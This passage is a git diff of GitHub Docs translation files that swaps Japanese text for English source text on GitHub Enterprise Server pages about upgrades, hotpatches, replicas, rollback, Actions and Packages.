ファイル](https://github.com/github/backup-utils#readme)を参照してください。 -4. アップグレードパッケージを使ってアップグレードをする場合は、{% data variables.product.prodname_ghe_server %} のエンドユーザのためにメンテナンス時間枠をスケジューリングしてください。 ホットパッチを利用している場合、メンテナンスモードは必要ありません。 +## Preparing to upgrade + +1. Determine an upgrade strategy and choose a version to upgrade to. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)" and refer to the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. +3. Create a fresh backup of your primary instance with the {% data variables.product.prodname_enterprise_backup_utilities %}. For more information, see the [{% data variables.product.prodname_enterprise_backup_utilities %} README.md file](https://github.com/github/backup-utils#readme). +4. If you are upgrading using an upgrade package, schedule a maintenance window for {% data variables.product.prodname_ghe_server %} end users. If you are using a hotpatch, maintenance mode is not required. {% note %} - **注釈:** メンテナンスウィンドウは、実行しようとしているアップグレードの種類によります。 ホットパッチを利用するアップグレードは、通常メンテナンスウィンドウを必要としません。 リブートが必要になることもあります。そのリブートは後で行うことができます。 MAJOR.FEATURE.PATCH というバージョン付けのスキームに従い、アップグレードパッケージを使ったパッチのリリースで生じるダウンタイムは、通常 5 分未満です。 データの移行を含むフィーチャリリースは、ストレージの性能および移行するデータの量に応じた時間がかかります。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。 + **Note:** The maintenance window depends on the type of upgrade you perform. Upgrades using a hotpatch usually don't require a maintenance window. Sometimes a reboot is required, which you can perform at a later time. Following the versioning scheme of MAJOR.FEATURE.PATCH, patch releases using an upgrade package typically require less than five minutes of downtime. Feature releases that include data migrations take longer depending on storage performance and the amount of data that's migrated. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% endnote %} {% data reusables.enterprise_installation.upgrade-hardware-requirements %} -## スナップショットの取得 +## Taking a snapshot -スナップショットは、ある時点での仮想マシン(VM)のチェックポイントです。 アップグレードに失敗した場合にスナップショットからVMを回復できるよう、仮想マシンをアップグレードする前にスナップショットを取っておくことを強くおすすめします。 新しいフィーチャリリースにアップグレードするなら、VM のスナップショットを取らなければなりません。 パッチリリースへのアップグレードをするなら、既存のデータディスクをアタッチできます。 +A snapshot is a checkpoint of a virtual machine (VM) at a point in time. We highly recommend taking a snapshot before upgrading your virtual machine so that if an upgrade fails, you can revert your VM back to the snapshot. If you're upgrading to a new feature release, you must take a VM snapshot. If you're upgrading to a patch release, you can attach the existing data disk. -スナップショットには2種類あります。 +There are two types of snapshots: -- **VM スナップショット**は、ユーザデータおよび設定データを含む VM の状態全体を保存します。 このスナップショットの手法には大量のディスク領域が必要になり、時間がかかります。 -- **データディスクスナップショット**はユーザデータだけを保存します。 +- **VM snapshots** save your entire VM state, including user data and configuration data. This snapshot method requires a large amount of disk space and is time consuming. +- **Data disk snapshots** only save your user data. {% note %} - **ノート:** - - プラットフォームによっては、ユーザのデータディスクだけのスナップショットを取ることができません。 それらのプラットフォームでは、VM 全体のスナップショットを取る必要があります。 - - ハイパーバイザーが完全なVMスナップショットをサポートしていないなら、ルートディスクとデータディスクのスナップショットを時間をおかずに取らなければなりません。 + **Notes:** + - Some platforms don't allow you to take a snapshot of just your data disk. For these platforms, you'll need to take a snapshot of the entire VM. + - If your hypervisor does not support full VM snapshots, you should take a snapshot of the root disk and data disk in quick succession. {% endnote %} -| プラットフォーム | スナップショットの取得方法 | スナップショットドキュメンテーションのURL | -| --------------------- | ------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Amazon AWS | ディスク | | -| Azure | VM | | -| Hyper-V | VM | | -| Google Compute Engine | ディスク | | -| VMware | VM | [https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html](https://pubs.vmware.com/vsphere-50/topic/com.vmware.wssdk.pg.doc_50/PG_Ch11_VM_Manage.13.3.html){% ifversion ghes < 3.3 %} -| XenServer | VM | {% endif %} +| Platform | Snapshot method | Snapshot documentation URL | +|---|---|---| +| Amazon AWS | Disk | +| Azure | VM | +| Hyper-V | VM | +| Google Compute Engine | Disk | +| VMware | VM | {% ifversion ghes < 3.3 %} +| XenServer | VM | {% endif %} -## ホットパッチでのアップグレード +## Upgrading with a hotpatch -{% data reusables.enterprise_installation.hotpatching-explanation %}{% data variables.enterprise.management_console %} を使うと、ホットパッチを即座にインストールすることや、後にインストールするようにスケジュールすることができます。 管理シェルを使って `ghe-upgrade` ユーティリティでホットパッチをインストールすることもできます。 詳細は「[アップグレードの要求事項](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)」を参照してください。 +{% data reusables.enterprise_installation.hotpatching-explanation %} Using the {% data variables.enterprise.management_console %}, you can install a hotpatch immediately or schedule it for later installation. You can use the administrative shell to install a hotpatch with the `ghe-upgrade` utility. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." {% note %} -**{% ifversion ghes %}注釈{% else %}注釈{% endif %}**: +**{% ifversion ghes %}Notes{% else %}Note{% endif %}**: {% ifversion ghes %} -- {% data variables.product.product_location %} がリリース候補ビルドを実行している場合、ホットパッチでアップグレードすることはできません。 +- If {% data variables.product.product_location %} is running a release candidate build, you can't upgrade with a hotpatch. -- {% endif %}クラスタ環境では、{% data variables.enterprise.management_console %} を使ったホットパッチのインストールはできません。 クラスタ環境でホットパッチをインストールするには、「[クラスタをアップグレードする](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)」を参照してください。 +- {% endif %}Installing a hotpatch using the {% data variables.enterprise.management_console %} is not available in clustered environments. To install a hotpatch in a clustered environment, see "[Upgrading a cluster](/enterprise/{{ currentVersion }}/admin/clustering/upgrading-a-cluster#upgrading-with-a-hotpatch)." {% endnote %} -### ホットパッチでの単一のアプライアンスのアップグレード +### Upgrading a single appliance with a hotpatch -#### {% data variables.enterprise.management_console %} を使ってホットパッチをインストールする +#### Installing a hotpatch using the {% data variables.enterprise.management_console %} -1. 自動アップデートを有効化してください。 詳しい情報については「[自動アップデートの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)」を参照してください。 +1. Enable automatic updates. For more information, see "[Enabling automatic updates](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-automatic-update-checks/)." {% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.updates-tab %} -4. 新しいホットパッチがダウンロードされたなら、Install package(パッケージのインストール)ドロップダウンメニューを使ってください。 - - すぐにインストールするなら**Now(即時)**を選択してください。 - - 後でインストールするなら、後の日付を選択してください。 ![ホットパッチインストール日のドロップダウン](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) -5. [**Install**] をクリックします。 ![ホットパッチインストールボタン](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) +4. When a new hotpatch has been downloaded, use the Install package drop-down menu: + - To install immediately, select **Now**: + - To install later, select a later date. + ![Hotpatch installation date dropdown](/assets/images/enterprise/management-console/hotpatch-installation-date-dropdown.png) +5. Click **Install**. + ![Hotpatch install button](/assets/images/enterprise/management-console/hotpatch-installation-install-button.png) -#### 管理シェルを使ったホットパッチのインストール +#### Installing a hotpatch using the administrative shell {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %}アップグレードのホットパッケージ(*.hpkg*ファイル)のURLをコピーしてください。 +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Copy the URL for the upgrade hotpackage (*.hpkg* file). {% data reusables.enterprise_installation.download-package %} -4. パッケージのファイル名を使って `ghe-upgrade` コマンドを実行してください。 +4. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.hpkg *** verifying upgrade package signature... ``` -5. カーネル、MySQL、Elasticsearch やその他のプログラムのアップグレードにリブートが必要なら、ホットパッチアップグレードスクリプトが通知してくれます。 +5. If a reboot is required for updates for kernel, MySQL, Elasticsearch or other programs, the hotpatch upgrade script notifies you. -### ホットパッチを使ったレプリカインスタンスを持つアプライアンスのアップグレード +### Upgrading an appliance that has replica instances using a hotpatch {% note %} -**注釈**: ホットパッチをインストールする場合、メンテナンスモードに入ったりレプリケーションを停止したりする必要はありません。 +**Note**: If you are installing a hotpatch, you do not need to enter maintenance mode or stop replication. {% endnote %} -High Availability と Geo-replication が設定されたアプライアンスは、プライマリインスタンスに加えてレプリカインスタンスを使います。 これらのアプライアンスをアップグレードするには、プライマリインスタンスとすべてのレプリカインスタンスの両方を、1 つずつアップグレードしなければなりません。 +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### プライマリインスタンスのアップグレード +#### Upgrading the primary instance -1. 「[管理シェルを使ってホットパッチをインストールする](#installing-a-hotpatch-using-the-administrative-shell)」の指示に従ってプライマリインスタンスをアップグレードしてください。 +1. Upgrade the primary instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." -#### レプリカインスタンスのアップグレード +#### Upgrading a replica instance {% note %} -**メモ:** Geo-replication の一部として複数のレプリカインスタンスを動作させているなら、この手順は各レプリカインスタンス 1 つずつに繰り返してください。 +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. 「[管理シェルを使ってホットパッチをインストールする](#installing-a-hotpatch-using-the-administrative-shell)」の指示に従ってレプリカインスタンスをアップグレードします。 Geo-replication に複数のレプリカを使用している場合は、この手順を繰り返して、各レプリカを一度に 1 つずつアップグレードする必要があります。 +1. Upgrade the replica instance by following the instructions in "[Installing a hotpatch using the administrative shell](#installing-a-hotpatch-using-the-administrative-shell)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} -## アップグレードパッケージでのアップグレード +## Upgrading with an upgrade package -フィーチャシリーズ内の最新のパッチリリースへのアップグレードにはホットパッチが利用できますが、新しいフィーチャリリースへのアップグレードにはアップグレードパッケージを使わなければなりません。 たとえば `2.11.10` から `2.12.4` へのアップグレードの場合、これらは異なるフィーチャシリーズなので、アップグレードパッケージを使わなければなりません。 詳細は「[アップグレードの要求事項](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)」を参照してください。 +While you can use a hotpatch to upgrade to the latest patch release within a feature series, you must use an upgrade package to upgrade to a newer feature release. For example to upgrade from `2.11.10` to `2.12.4` you must use an upgrade package since these are in different feature series. For more information, see "[Upgrade requirements](/enterprise/{{ currentVersion }}/admin/guides/installation/upgrade-requirements/)." -### アップグレードパッケージでの単一のアプライアンスのアップグレード +### Upgrading a single appliance with an upgrade package {% data reusables.enterprise_installation.download-note %} {% data reusables.enterprise_installation.ssh-into-instance %} -2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} 適切なプラットフォームを選択し、アップグレードパッケージ (*.pkg*ファイル) の URL をコピーしてください。 +2. {% data reusables.enterprise_installation.enterprise-download-upgrade-pkg %} Select the appropriate platform and copy the URL for the upgrade package (*.pkg* file). {% data reusables.enterprise_installation.download-package %} -4. メンテナンスモードを有効にし、{% data variables.product.prodname_ghe_server %} インスタンス上のすべてのアクティブなプロセスが完了するのを待ってください。 詳しい情報については"[メンテナンスモードの有効化とスケジューリング](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)"を参照してください。 +4. Enable maintenance mode and wait for all active processes to complete on the {% data variables.product.prodname_ghe_server %} instance. For more information, see "[Enabling and scheduling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode)." {% note %} - **メモ**: High Availability 構成のプライマリアプライアンスをアップグレードする場合には、「[プライマリインスタンスをアップグレードする](#upgrading-the-primary-instance)」の指示に従っているならアプライアンスはメンテナンスモードになっているはずです。 + **Note**: When upgrading the primary appliance in a High Availability configuration, the appliance should already be in maintenance mode if you are following the instructions in "[Upgrading the primary instance](#upgrading-the-primary-instance)." {% endnote %} -5. パッケージのファイル名を使って `ghe-upgrade` コマンドを実行してください。 +5. Run the `ghe-upgrade` command using the package file name: ```shell admin@HOSTNAME:~$ ghe-upgrade GITHUB-UPGRADE.pkg *** verifying upgrade package signature... ``` -6. アップグレードを続けてパッケージ署名検証後に再起動することを承諾します。 新しいルートファイルシステムがセカンダリパーティションに書かれ、インスタンスは自動的にメンテナンスモードで再起動します。 +6. Confirm that you'd like to continue with the upgrade and restart after the package signature verifies. The new root filesystem writes to the secondary partition and the instance automatically restarts in maintenance mode: ```shell *** applying update... This package will upgrade your installation to version version-number @@ -163,74 +167,74 @@ High Availability と Geo-replication が設定されたアプライアンスは Target root partition: /dev/xvda2 Proceed with installation? [y/N] ``` -7. 単一アプライアンスのアップグレードであれば、メンテナンスモードを無効化してユーザが {% data variables.product.product_location %} を利用できるようにしてください。 +7. For single appliance upgrades, disable maintenance mode so users can use {% data variables.product.product_location %}. {% note %} - **メモ**: High Availability 設定のアプライアンスをアップグレードする場合、すべてのレプリカをアップグレードし、レプリケーションが最新の状態になるまではメンテナンスモードのままでなければなりません。 詳細は「[レプリカインスタンスをアップグレードする](#upgrading-a-replica-instance)」を参照してください。 + **Note**: When upgrading appliances in a High Availability configuration you should remain in maintenance mode until you have upgraded all of the replicas and replication is current. For more information, see "[Upgrading a replica instance](#upgrading-a-replica-instance)." {% endnote %} -### アップグレードパッケージを使ったレプリカインスタンスを持つアプライアンスのアップグレード +### Upgrading an appliance that has replica instances using an upgrade package -High Availability と Geo-replication が設定されたアプライアンスは、プライマリインスタンスに加えてレプリカインスタンスを使います。 これらのアプライアンスをアップグレードするには、プライマリインスタンスとすべてのレプリカインスタンスの両方を、1 つずつアップグレードしなければなりません。 +Appliances configured for high-availability and geo-replication use replica instances in addition to primary instances. To upgrade these appliances, you'll need to upgrade both the primary instance and all replica instances, one at a time. -#### プライマリインスタンスのアップグレード +#### Upgrading the primary instance {% warning %} -**警告:** レプリケーションが停止されると、プライマリに障害があった場合には、レプリカがアップグレードされてレプリケーションが再開されるまでに行われた作業は失われます。 +**Warning:** When replication is stopped, if the primary fails, any work that is done before the replica is upgraded and the replication begins again will be lost. {% endwarning %} -1. プライマリインスタンスでメンテナンスモードを有効化し、すべてのアクティブなプロセスが完了するのを待ちます。 詳しい情報については、「[メンテナンスモードの有効化](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)」を参照してください。 +1. On the primary instance, enable maintenance mode and wait for all active processes to complete. For more information, see "[Enabling maintenance mode](/enterprise/{{ currentVersion }}/admin/guides/installation/enabling-and-scheduling-maintenance-mode/)." {% data reusables.enterprise_installation.replica-ssh %} -3. レプリカインスタンス、あるいは Geo-replication の一部として複数のレプリカインスタンスを動作させている場合は、すべてのレプリカインスタンスで `ghe-repl-stop` を実行してレプリケーションを停止させます。 -4. 「[アップグレードパッケージで単一アプライアンスをアップグレードする](#upgrading-a-single-appliance-with-an-upgrade-package)」の指示に従い、プライマリインスタンスをアップグレードしてください。 +3. On the replica instance, or on all replica instances if you're running multiple replica instances as part of geo-replication, run `ghe-repl-stop` to stop replication. +4. Upgrade the primary instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." -#### レプリカインスタンスのアップグレード +#### Upgrading a replica instance {% note %} -**メモ:** Geo-replication の一部として複数のレプリカインスタンスを動作させているなら、この手順は各レプリカインスタンス 1 つずつに繰り返してください。 +**Note:** If you're running multiple replica instances as part of geo-replication, repeat this procedure for each replica instance, one at a time. {% endnote %} -1. 「[アップグレードパッケージで単一アプライアンスをアップグレードする](#upgrading-a-single-appliance-with-an-upgrade-package)」の指示に従い、レプリカインスタンスをアップグレードします。 Geo-replication に複数のレプリカを使用している場合は、この手順を繰り返して、各レプリカを一度に 1 つずつアップグレードする必要があります。 +1. Upgrade the replica instance by following the instructions in "[Upgrading a single appliance with an upgrade package](#upgrading-a-single-appliance-with-an-upgrade-package)." If you are using multiple replicas for Geo-replication, you must repeat this procedure to upgrade each replica one at a time. {% data reusables.enterprise_installation.replica-ssh %} {% data reusables.enterprise_installation.replica-verify %} {% data reusables.enterprise_installation.start-replication %} -{% data reusables.enterprise_installation.replication-status %} コマンドが `Replication is not running` を返すなら、レプリケーションはまだ開始中かもしれません。 `ghe-repl-status` をもう一度実行する前に 1 分間ほど待ってください。 +{% data reusables.enterprise_installation.replication-status %} If the command returns `Replication is not running`, the replication may still be starting. Wait about one minute before running `ghe-repl-status` again. {% note %} - **メモ:** resync の処理が進んでいる間は、`ghe-repl-status` はレプリケーションが遅れていることを示す期待どおりのメッセージを返すかもしれません。 - たとえば `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` のようなメッセージです。 + **Note:** While the resync is in progress `ghe-repl-status` may return expected messages indicating that replication is behind. + For example: `CRITICAL: git replication is behind the primary by more than 1007 repositories and/or gists` {% endnote %} - If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. 詳しい情報については、「[{% data variables.contact.github_support %} からの支援を受ける](/admin/enterprise-support/receiving-help-from-github-support)」を参照してください。 + If `ghe-repl-status` did not return `OK`, contact {% data variables.contact.enterprise_support %}. For more information, see "[Receiving help from {% data variables.contact.github_support %}](/admin/enterprise-support/receiving-help-from-github-support)." + +6. When you have completed upgrading the last replica, and the resync is complete, disable maintenance mode so users can use {% data variables.product.product_location %}. -6. 最後のレプリカのアップグレードが完了し、resync も完了したなら、ユーザが {% data variables.product.product_location %} を使えるようにメンテナンスモードを無効化してください。 +## Restoring from a failed upgrade -## 失敗したアップグレードからのリストア +If an upgrade fails or is interrupted, you should revert your instance back to its previous state. The process for completing this depends on the type of upgrade. -アップグレードが失敗もしくは中断したなら、インスタンスを以前の状態に復帰させなければなりません。 この処理を完了させるプロセスは、アップグレードの種類によります。 +### Rolling back a patch release -### パッチリリースのロールバック +To roll back a patch release, use the `ghe-upgrade` command with the `--allow-patch-rollback` switch. {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} -パッチリリースをロールバックするには、`--allow-patch-rollback` を付けて `ghe-upgrade` コマンドを使います。 {% data reusables.enterprise_installation.command-line-utilities-ghe-upgrade-rollback %} +For more information, see "[Command-line utilities](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)." -詳細は「[コマンドラインユーティリティ](/enterprise/{{ currentVersion }}/admin/guides/installation/command-line-utilities/#ghe-upgrade)」を参照してください。 +### Rolling back a feature release -### フィーチャリリースのロールバック - -フィーチャリリースからロールバックするには、ルートおよびデータパーティションが整合した状態になることを保証するため、VM スナップショットからリストアしてください。 詳細は「[スナップショットを取得する](#taking-a-snapshot)」を参照してください。 +To roll back from a feature release, restore from a VM snapshot to ensure that root and data partitions are in a consistent state. For more information, see "[Taking a snapshot](#taking-a-snapshot)." {% ifversion ghes %} -## 参考リンク +## Further reading -- 「[新しいリリースへのアップグレードについて](/admin/overview/about-upgrades-to-new-releases)」 +- "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)" {% endif %} diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md index cdddcb3c87..fb18184ae3 100644 --- a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/getting-started-with-github-actions-for-github-enterprise-server.md @@ -21,7 +21,9 @@ topics: ## About {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} -This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. +This article explains how site administrators can configure {% data variables.product.prodname_ghe_server %} to use {% data variables.product.prodname_actions %}. + +{% data reusables.enterprise.upgrade-ghes-for-actions %} {% data variables.product.prodname_actions %} is not enabled for {% data variables.product.prodname_ghe_server %} by default. You'll need to determine whether your instance has adequate CPU and memory resources to handle the load from {% data variables.product.prodname_actions %} without causing performance loss, and possibly increase those resources. You'll also need to decide which storage provider you'll use for the blob storage required to store artifacts generated by workflow runs. Then, you'll enable {% data variables.product.prodname_actions %} for your enterprise, manage access permissions, and add self-hosted runners to run workflows. diff --git a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md index 9d1e765d83..33a3273bf7 100644 --- a/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md +++ b/translations/ja-JP/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise.md @@ -18,6 +18,8 @@ topics: ![Diagram of jobs running on self-hosted runners](/assets/images/help/images/actions-enterprise-overview.png) +{% data reusables.enterprise.upgrade-ghes-for-actions %} + Before you introduce {% data variables.product.prodname_actions %} to a large enterprise, you first need to plan your adoption and make decisions about how your enterprise will use {% data variables.product.prodname_actions %} to best support your unique needs. ## Governance and compliance diff --git a/translations/ja-JP/content/admin/index.md b/translations/ja-JP/content/admin/index.md index cf364b8e3a..e9f1fb4c60 100644 --- a/translations/ja-JP/content/admin/index.md +++ b/translations/ja-JP/content/admin/index.md @@ -76,7 +76,7 @@ featuredLinks: - '{% ifversion ghae %}/admin/configuration/restricting-network-traffic-to-your-enterprise{% endif %}' - '{% ifversion ghes %}/admin/configuration/configuring-backups-on-your-appliance{% endif %}' - '{% ifversion ghes %}/admin/enterprise-management/creating-a-high-availability-replica{% endif %}' - - '{% ifversion ghes %}/admin/enterprise-management/upgrading-github-enterprise-server{% endif %}' + - '{% ifversion ghes %}/admin/overview/about-upgrades-to-new-releases{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise{% endif %}' - '{% ifversion ghec %}/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise{% endif %}' - '{% ifversion ghec %}/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise{% endif %}' diff --git a/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md b/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md index 304724c301..4e4de2165b 100644 --- a/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md +++ b/translations/ja-JP/content/admin/overview/about-upgrades-to-new-releases.md @@ -1,6 +1,6 @@ --- -title: 新しいリリースへのアップグレードについて -shortTitle: アップグレードについて +title: About upgrades to new releases +shortTitle: About upgrades intro: '{% ifversion ghae %}Your enterprise on {% data variables.product.product_name %} is updated with the latest features and bug fixes on a regular basis by {% data variables.product.company_short %}.{% else %}You can benefit from new features and bug fixes for {% data variables.product.product_name %} by upgrading your enterprise to a newly released version.{% endif %}' versions: ghes: '*' @@ -10,26 +10,27 @@ topics: - Enterprise - Upgrades --- +{% ifversion ghes < 3.3 %}{% data reusables.enterprise.upgrade-ghes-for-features %}{% endif %} -{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} はフルマネージドサービスであるため、{% data variables.product.company_short %} が Enterprise のアップグレードプロセスを完了します。{% endif %} +{% data variables.product.product_name %} is constantly improving, with new functionality and bug fixes introduced through feature and patch releases. {% ifversion ghae %}{% data variables.product.prodname_ghe_managed %} is a fully managed service, so {% data variables.product.company_short %} completes the upgrade process for your enterprise.{% endif %} -Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. Enterprise で予定されているダウンタイムについては、事前に通知されます。{% endif %} +Feature releases include new functionality and feature upgrades and typically occur quarterly. {% ifversion ghae %}{% data variables.product.company_short %} will upgrade your enterprise to the latest feature release. You will be given advance notice of any planned downtime for your enterprise.{% endif %} {% ifversion ghes %} -Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. リリース候補には、実際に {% data variables.product.product_name %} を使用している顧客からのフィードバックを通じてのみ見つけることができるバグまたは問題がある可能性があります。 +Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature releases begin with at least one release candidate. Release candidates are proposed feature releases, with a complete feature set. There may be bugs or issues in a release candidate which can only be found through feedback from customers actually using {% data variables.product.product_name %}. -リリース候補が利用可能になり次第、リリース候補をテストすることで、最新の機能に早期アクセスできます。 サポートされているバージョンからリリース候補にアップグレードでき、リリース時にリリース候補からそれ以降のバージョンにアップグレードできます。 リリースが一般に利用可能になり次第、リリース候補を実行している環境をアップグレードする必要があります。 詳しい情報については、「[アップグレード要件](/admin/enterprise-management/upgrade-requirements)」を参照してください。 +You can get early access to the latest features by testing a release candidate as soon as the release candidate is available. You can upgrade to a release candidate from a supported version and can upgrade from the release candidate to later versions when released. You should upgrade any environment running a release candidate as soon as the release is generally available. For more information, see "[Upgrade requirements](/admin/enterprise-management/upgrade-requirements)." -リリース候補は、テスト環境またはステージング環境に展開する必要があります。 リリース候補をテストした際は、サポートに連絡してフィードバックをご提供ください。 詳しい情報については、「[{% data variables.contact.github_support %} での操作](/admin/enterprise-support)」を参照してください。 +Release candidates should be deployed on test or staging environments. As you test a release candidate, please provide feedback by contacting support. For more information, see "[Working with {% data variables.contact.github_support %}](/admin/enterprise-support)." -フィードバックを活用して、バグ修正やその他の必要な変更を適用し、安定した本番リリースを作成します。 新しいリリース候補ごとに、以前のバージョンで見つかった問題のバグ修正が追加されます。 リリースが広く普及可能になったら、{% data variables.product.company_short %} は安定した本番リリースを公開します。 +We'll use your feedback to apply bug fixes and any other necessary changes to create a stable production release. Each new release candidate adds bug fixes for issues found in prior versions. When the release is ready for widespread adoption, {% data variables.product.company_short %} publishes a stable production release. {% endif %} {% warning %} -**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. Enterprise 設定または REST API を使用して、グローバルアナウンスバナーを公開することにより、ダウンタイムについてユーザに通知できます。 詳しい情報については、「[インスタンス上でのユーザメッセージをカスタマイズする](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)」および「[{% data variables.product.prodname_enterprise %} 管理](/rest/reference/enterprise-admin#announcements)」を参照してください。 +**Warning**: The upgrade to a new feature release will cause a few hours of downtime, during which none of your users will be able to use the enterprise. You can inform your users about downtime by publishing a global announcement banner, using your enterprise settings or the REST API. For more information, see "[Customizing user messages on your instance](/admin/user-management/customizing-user-messages-on-your-instance#creating-a-global-announcement-banner)" and "[{% data variables.product.prodname_enterprise %} administration](/rest/reference/enterprise-admin#announcements)." {% endwarning %} @@ -37,12 +38,12 @@ Starting with {% data variables.product.prodname_ghe_server %} 3.0, all feature Patch releases, which consist of hot patches and bug fixes only, happen more frequently. Patch releases are generally available when first released, with no release candidates. Upgrading to a patch release typically requires less than five minutes of downtime. -Enterprise を新しいリリースにアップグレードするには、「[リリースノート](/enterprise-server/admin/release-notes)」および「[{% data variables.product.prodname_ghe_server %} へのアップグレード](/admin/enterprise-management/upgrading-github-enterprise-server)」を参照してください。 +To upgrade your enterprise to a new release, see "[Release notes](/enterprise-server/admin/release-notes)" and "[Upgrading {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server)." Because you can only upgrade from a feature release that's at most two releases behind, use the [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade) to find the upgrade path from your current release version. {% endif %} -## 参考リンク +## Further reading -- [ {% data variables.product.prodname_roadmap %} ]({% data variables.product.prodname_roadmap_link %}) in the `github/roadmap` repository{% ifversion ghae %} -- [ {% data variables.product.prodname_ghe_managed %} のリリースノート](/admin/release-notes) +- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) in the `github/roadmap` repository{% ifversion ghae %} +- [ {% data variables.product.prodname_ghe_managed %} release notes](/admin/release-notes) {% endif %} diff --git a/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md b/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md index 6ed8568fa1..f1d277e45e 100644 --- a/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md +++ b/translations/ja-JP/content/admin/packages/getting-started-with-github-packages-for-your-enterprise.md @@ -16,7 +16,10 @@ topics: {% data reusables.package_registry.packages-cluster-support %} -## Step 1: Enable {% data variables.product.prodname_registry %} and configure external storage +## Step 1: Check whether {% data variables.product.prodname_registry %} is available for your enterprise + +{% data variables.product.prodname_registry %} is available in {% data variables.product.prodname_ghe_server %} 3.0 or higher. If you're using an earlier version of {% data variables.product.prodname_ghe_server %}, you'll have to upgrade to use {% data variables.product.prodname_registry %}. For more information about upgrading your {% data variables.product.prodname_ghe_server %} instance, see "[About upgrades to new releases](/admin/overview/about-upgrades-to-new-releases)." +## Step 2: Enable {% data variables.product.prodname_registry %} and configure 